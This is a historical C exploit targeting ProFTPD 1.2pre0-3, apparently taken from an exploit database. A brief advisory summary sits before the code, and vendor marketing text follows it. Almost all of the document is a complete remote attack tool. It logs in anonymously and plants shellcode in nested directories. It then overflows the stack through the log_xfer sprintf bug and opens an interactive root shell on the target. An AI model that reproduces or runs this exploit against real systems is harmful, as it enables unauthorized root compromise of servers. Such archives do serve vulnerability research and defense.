// source: https://www.securityfocus.com/bid/612/info
The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4.
/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
* - adm-wuftpd by duke
* - kombajn do czere�ni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define MAXARGLEN 64
#define MAXLINE 1024
#define ANONL "ftp"
#define ANONP "mozilla@"
#define INCOM "/incoming/"
#define FTPPORT 21
#define RET 0xbffff550
#define NOP 0x90
#define ALIGN 0
#define CONTENT "y0u ar3 n0w 0wn3d!"
#define GREEN "\033[1;32m"
#define RED "\033[1;31m"
#define NORM "\033[1;39m"
#define BOLD "\E[1m"
#define UNBOLD "\E[m"
char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];
#ifdef DEBUG
FILE *phile;
#endif
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip=inet_addr(name))==-1)
{
if ((hp=gethostbyname(name))==NULL)
{
fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int readline(sockfd, buf)
int sockfd;
char *buf;
{
int done = 0;
char *n = NULL, *p = NULL, localbuff[MAXLINE];
while (!done)
{
if (!p)
{
int count;
bzero(localbuff, MAXLINE);
if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
{
(void)fprintf(stderr, "IO error.\n");
return -1;
}
//
#ifdef DEBUG
fprintf(phile, "Received: %s", localbuff);
#endif
//
localbuff[count] = 0;
p = localbuff;
}
n=(char *)strchr(p, '\r');
if (n)
{
*n = 0;
n += 2;
done = 1;
}
bzero(buf, MAXLINE);
strncat(buf, p, MAXLINE);
p = n;
}
return 0;
}
int eatthis(sockfd, line)
int sockfd;
char *line;
{
do
{
bzero(line, MAXLINE);
if (readline(sockfd, line) < 0) return -1;
} while (line[3] != ' ');
return (int)(line[0] - '0');
}
int connecttoftp(host)
char *host;
{
int sockfd;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=getip(host);
cli.sin_port = htons(FTPPORT);
//
#ifdef DEBUG
fprintf(phile, "Connecting to %s.\n", host);
#endif
//
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
return -1;
}
//
#ifdef DEBUG
fprintf(phile, "Connected to %s.\n", host);
#endif
//
return sockfd;
}
int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
int result;
char errbuf[MAXLINE];
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "USER %s\r\n", login);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 3)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "PASS %s\r\n", passwd);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
return 0;
}
int makedir(dir, sockfd)
char *dir;
int sockfd;
{
char buf[MAXLINE], errbuf[MAXLINE], *p;
int n, result;
bzero(buf, MAXLINE);
p = buf;
for(n=0;n < strlen(dir);n++)
{
if(dir[n]=='\xff')
{
*p='\xff';
p++;
}
*p=dir[n];
p++;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "MKD %s\r\n", buf);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "CWD %s\r\n", buf);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
return 0;
}
int mkd(sockfd, cwd)
int sockfd;
char *cwd;
{
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";
char buf1[MAXLINE], tmp[MAXLINE], *p, *q;
if (makedir(cwd, sockfd) < 0) return -1;
bzero(buf1, MAXLINE);
memset(buf1, 0x90, 756);
memcpy(buf1, cwd, strlen(cwd));
p = &buf1[strlen(cwd)];
q = &buf1[755];
bzero(tmp, MAXLINE);
while(p <= q)
{
strncpy(tmp, p, 100);
if (makedir(tmp, sockfd) < 0) return -1;
p+=100;
}
if (makedir(shellcode, sockfd) < 0) return -1;
return 0;
}
int put(sockfd, offset, align)
int sockfd, offset, align;
{
char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE], hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
int n, sock, nsock, port, i;
struct in_addr in;
int octet_in[4], result;
char *oct;
struct sockaddr_in yo;
bzero(buf2, MAXLINE);
memset(buf2, NOP, 100);
for(i=4-ALIGN-align; i<96; i+=4)
*(long *)&buf2[i] = RET + offset;
p = &buf2[0];
q = &buf2[99];
bzero(tmp, MAXLINE);
strncpy(tmp, p, strlen(buf2));
port=getpid()+1024;
bzero(&yo, sizeof(yo));
yo.sin_family = AF_INET;
yo.sin_port=htons(port);
bzero(buf, MAXLINE);
p=buf;
for(n=0;n<strlen(tmp);n++)
{
if(tmp[n]=='\xff')
{
*p='\xff';
p++;
}
*p=tmp[n];
p++;
}
gethostname(hostname, MAXLINE);
in.s_addr = getip(hostname);
oct=(char *)strtok(inet_ntoa(in),".");
octet_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[3]=atoi(oct);
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
perror("socket()");
return -1;
}
if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
{
perror("bind()");
close(sock);
return -1;
}
if (listen (sock,10) < 0)
{
perror("listen()");
close(sock);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "STOR %s\r\n", buf);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct sockaddr))) < 0)
{
perror("accept()");
close(sock);
return -1;
}
write(nsock, CONTENT, sizeof(CONTENT));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", CONTENT);
#endif
//
close(sock);
close(nsock);
return 0;
}
int sh(sockfd)
int sockfd;
{
char buf[MAXLINE];
int c;
fd_set rf, drugi;
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
while (1)
{
bzero(buf, MAXLINE);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, MAXLINE);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, MAXLINE);
if (c<0) return 0;
write(1,buf,c);
}
}
}
void usage(void)
{
(void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o offset] [-a align] host\n", av0);
exit(1);
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];
(void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GREEN, NORM, UNBOLD);
if (strchr(argv[0], '/'))
av0 = strrchr(argv[0], '/') + 1;
else
av0 = argv[0];
opterr = aflag = oflag = lflag = pflag = dflag = 0;
while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
switch((char)ch)
{
case 'l':
lflag = 1;
strncpy(login, optarg, MAXARGLEN);
break;
case 'p':
pflag = 1;
strncpy(passwd, optarg, MAXARGLEN);
break;
case 'd':
dflag = 1;
strncpy(cwd, optarg, MAXARGLEN);
break;
case 'o':
oflag = 1;
offset = atoi(optarg);
break;
case 'a':
aflag = 1;
align = atoi(optarg);
break;
case '?':
default:
usage();
}
argc -= optind;
argv += optind;
if (argc != 1) usage();
if (!lflag) strncpy(login, ANONL, MAXARGLEN);
if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
if (!oflag) offset = 0;
if (!aflag) align = 0;
//
#ifdef DEBUG
phile = fopen("debug", "w");
#endif
//
if ((sockfd = connecttoftp(*argv)) < 0)
{
(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
if (logintoftp(sockfd, login, passwd) < 0)
{
(void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n", *argv, login, passwd);
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in %s\n", login, passwd, cwd);
if (mkd(sockfd, cwd) < 0)
{
(void)fprintf(stderr, "Unknown error while making directories.\n");
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET + offset, align);
if (put(sockfd, offset, align) < 0)
{
(void)fprintf(stderr, "Unknown error while sending RETs.\n");
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "Y0u are n0w r00t.\n");
if (sh(sockfd) < 0)
{
(void)fprintf(stderr, "Connection unexpectly terminated.\n");
//
#ifdef DEBUG
fclose(phile);
#endif
//
close(sockfd);
exit(1);
}
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(0);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation